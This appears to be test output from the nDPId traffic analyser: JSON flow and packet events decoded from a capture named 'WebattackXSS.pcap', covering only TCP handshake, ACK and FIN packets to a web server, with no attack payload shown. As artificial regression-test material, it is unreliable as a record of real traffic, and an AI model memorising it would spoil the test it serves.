+00444{"flow_id":223,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3161,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":483667,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ26Ji05dMmdxVHKAScSAOoAAAAgQFtAQCCAoD5CxIATpa0gEDAwc="} +00432{"flow_id":223,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3162,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":484270,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D8pAAD4Gtg6sEAABwKgKMtuiAFCZ3FUcYtOXTYAQAOWtpwAAAQEICgE6WtID5CxI"} +00432{"flow_id":220,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3166,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":712683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DyRAAD4GtrSsEAABwKgKMttsAFDfC1r7wLN3dIARAOUpiAAAAQEICgE6WwsD5CdO"} +00434{"flow_id":220,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3167,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":712869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0W\/VAAEAGZ+PAqAoyrBAAAQBQ22zAs3d03wta\/IARAOMkVgAAAQEICgPkLIEBOlsL"} +00432{"flow_id":220,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3168,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347347,"pkt_ts_usec":713644,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0DyVAAD4GtrOsEAABwKgKMttsAFDfC1r8wLN3dYAQAOUkUwAAAQEICgE6WwwD5CyB"} +00432{"flow_id":221,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3172,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":712565,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03PhAAD4G6N+sEAABwKgKMtt6AFBC4YvwXLap2YARAOXEDAAAAQEICgE6XAUD5CiP"} +00433{"flow_id":221,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3173,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":712792,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0hKJAAEAGPzbAqAoyrBAAAQBQ23pctqnZQuGL8YARAOO\/IQAAAQEICgPkLXsBOlwF"} +00433{"flow_id":221,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3174,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":713338,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03PlAAD4G6N6sEAABwKgKMtt6AFBC4YvxXLap2oAQAOW\/HgAAAQEICgE6XAYD5C17"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3176,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":224,"flow_packet_id":1,"flow_first_seen":1499347348776,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56240,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":224,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3176,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":776663,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8P2lAAD4GhmesEAABwKgKMtuwAFBd3mN8AAAAAKACchBkWQAAAgQFtAQCCAoBOlwVAAAAAAEDAwc="} +00444{"flow_id":224,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3177,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":776752,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ27AjVjRJXd5jfaAScSDcKQAAAgQFtAQCCAoD5C2LATpcFQEDAwc="} +00432{"flow_id":224,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3178,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347348,"pkt_ts_usec":777538,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P2pAAD4Ghm6sEAABwKgKMtuwAFBd3mN9I1Y0SoAQAOV7MAAAAQEICgE6XBYD5C2L"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3190,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":225,"flow_packet_id":1,"flow_first_seen":1499347351299,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56266,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":225,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3190,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":299570,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8XeBAAD4GZ\/CsEAABwKgKMtvKAFA3cANsAAAAAKACchDoRgAAAgQFtAQCCAoBOl6MAAAAAAEDAwc="} +00444{"flow_id":225,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3191,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":299706,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ28rLt8HDN3ADbaAScSAnxAAAAgQFtAQCCAoD5DACATpejAEDAwc="} +00433{"flow_id":225,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3192,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":300467,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XeFAAD4GZ\/esEAABwKgKMtvKAFA3cANty7fBxIAQAOXGywAAAQEICgE6XowD5DAC"} +00432{"flow_id":222,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3196,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":712683,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZYpAAD4GYE6sEAABwKgKMtuUAFCjBDwdl5JNooARAOXPlAAAAQEICgE6XvMD5CsK"} +00432{"flow_id":222,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3197,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":712874,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fctAAEAGRg3AqAoyrBAAAQBQ25SXkk2iowQ8HoARAOPKNgAAAQEICgPkMGkBOl7z"} +00432{"flow_id":222,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3198,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347351,"pkt_ts_usec":713466,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ZYtAAD4GYE2sEAABwKgKMtuUAFCjBDwel5JNo4AQAOXKMwAAAQEICgE6XvQD5DBp"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3202,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":226,"flow_packet_id":1,"flow_first_seen":1499347352698,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56280,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":226,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3202,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":698990,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA894dAAD4GzkisEAABwKgKMtvYAFB9d6htAAAAAKACchD70QAAAgQFtAQCCAoBOl\/qAAAAAAEDAwc="} +00445{"flow_id":226,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3203,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":699146,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ29gsQT\/ffXeobqAScSBbTAAAAgQFtAQCCAoD5DFgATpf6gEDAwc="} +00433{"flow_id":226,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3204,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":699665,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA094hAAD4Gzk+sEAABwKgKMtvYAFB9d6huLEE\/4IAQAOX6UwAAAQEICgE6X+oD5DFg"} +00432{"flow_id":223,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3208,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":713119,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D8tAAD4Gtg2sEAABwKgKMtuiAFCZ3FUcYtOXTYARAOWoiwAAAQEICgE6X+0D5CxI"} +00433{"flow_id":223,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3209,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":713207,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0pi5AAEAGHarAqAoyrBAAAQBQ26Ji05dNmdxVHYARAOOjcQAAAQEICgPkMWMBOl\/t"} +00432{"flow_id":223,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3210,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347352,"pkt_ts_usec":714021,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0D8xAAD4GtgysEAABwKgKMtuiAFCZ3FUdYtOXToAQAOWjbgAAAQEICgE6X+4D5DFj"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":6,"flow_first_seen":1499347280049,"flow_last_seen":1499347285697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55510,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":183,"flow_packet_id":6,"flow_first_seen":1499347280049,"flow_last_seen":1499347285697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55510,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":6,"flow_first_seen":1499347281325,"flow_last_seen":1499347286697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55524,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":184,"flow_packet_id":6,"flow_first_seen":1499347281325,"flow_last_seen":1499347286697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55524,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":6,"flow_first_seen":1499347282573,"flow_last_seen":1499347287697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55538,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":185,"flow_packet_id":6,"flow_first_seen":1499347282573,"flow_last_seen":1499347287697,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55538,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":6,"flow_first_seen":1499347285114,"flow_last_seen":1499347290698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55564,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":186,"flow_packet_id":6,"flow_first_seen":1499347285114,"flow_last_seen":1499347290698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55564,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":6,"flow_first_seen":1499347286403,"flow_last_seen":1499347291698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55578,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":187,"flow_packet_id":6,"flow_first_seen":1499347286403,"flow_last_seen":1499347291698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55578,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":6,"flow_first_seen":1499347287659,"flow_last_seen":1499347292698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55592,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":188,"flow_packet_id":6,"flow_first_seen":1499347287659,"flow_last_seen":1499347292698,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":55592,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00432{"flow_id":224,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3217,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347354,"pkt_ts_usec":714108,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P2tAAD4Ghm2sEAABwKgKMtuwAFBd3mN9I1Y0SoARAOV1YwAAAQEICgE6YeID5C2L"} +00432{"flow_id":224,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3218,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347354,"pkt_ts_usec":714326,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0BxJAAEAGvMbAqAoyrBAAAQBQ27AjVjRKXd5jfoARAONvlwAAAQEICgPkM1gBOmHi"} +00432{"flow_id":224,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3219,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347354,"pkt_ts_usec":714888,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0P2xAAD4GhmysEAABwKgKMtuwAFBd3mN+I1Y0S4AQAOVvlQAAAQEICgE6YeID5DNY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3223,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":227,"flow_packet_id":1,"flow_first_seen":1499347355229,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56306,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":227,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3223,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347355,"pkt_ts_usec":229572,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8GHxAAD4GrVSsEAABwKgKMtvyAFB7gnofAAAAAKACchApggAAAgQFtAQCCAoBOmJjAAAAAAEDAwc="} +00445{"flow_id":227,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3224,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347355,"pkt_ts_usec":229696,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ2\/L7jmGSe4J6IKAScSCVgwAAAgQFtAQCCAoD5DPYATpiYwEDAwc="} +00432{"flow_id":227,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3225,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347355,"pkt_ts_usec":230266,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GH1AAD4GrVusEAABwKgKMtvyAFB7gnog+45hk4AQAOU0iwAAAQEICgE6YmMD5DPY"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":3232,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":228,"flow_packet_id":1,"flow_first_seen":1499347356478,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":56320,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":228,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3232,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":478261,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8hsZAAD4GPwqsEAABwKgKMtwAAFAJPOVdAAAAAKACchAvRAAAAgQFtAQCCAoBOmObAAAAAAEDAwc="} +00446{"flow_id":228,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3233,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":478423,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ3AC\/\/WVQCTzlXqAScSDR3wAAAgQFtAQCCAoD5DURATpjmwEDAwc="} +00433{"flow_id":228,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3234,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":478985,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0hsdAAD4GPxGsEAABwKgKMtwAAFAJPOVev\/1lUYAQAOVw5wAAAQEICgE6Y5sD5DUR"} +00433{"flow_id":225,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3238,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":714231,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0XeJAAD4GZ\/asEAABwKgKMtvKAFA3cANty7fBxIARAOXBgAAAAQEICgE6Y9YD5DAC"} +00433{"flow_id":225,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3239,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347356,"pkt_ts_usec":714448,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA09IhAAEAGz0\/AqAoyrBAAAQBQ28rLt8HEN3ADboARAOO8NwAAAQEICgPkNUwBOmPW"} 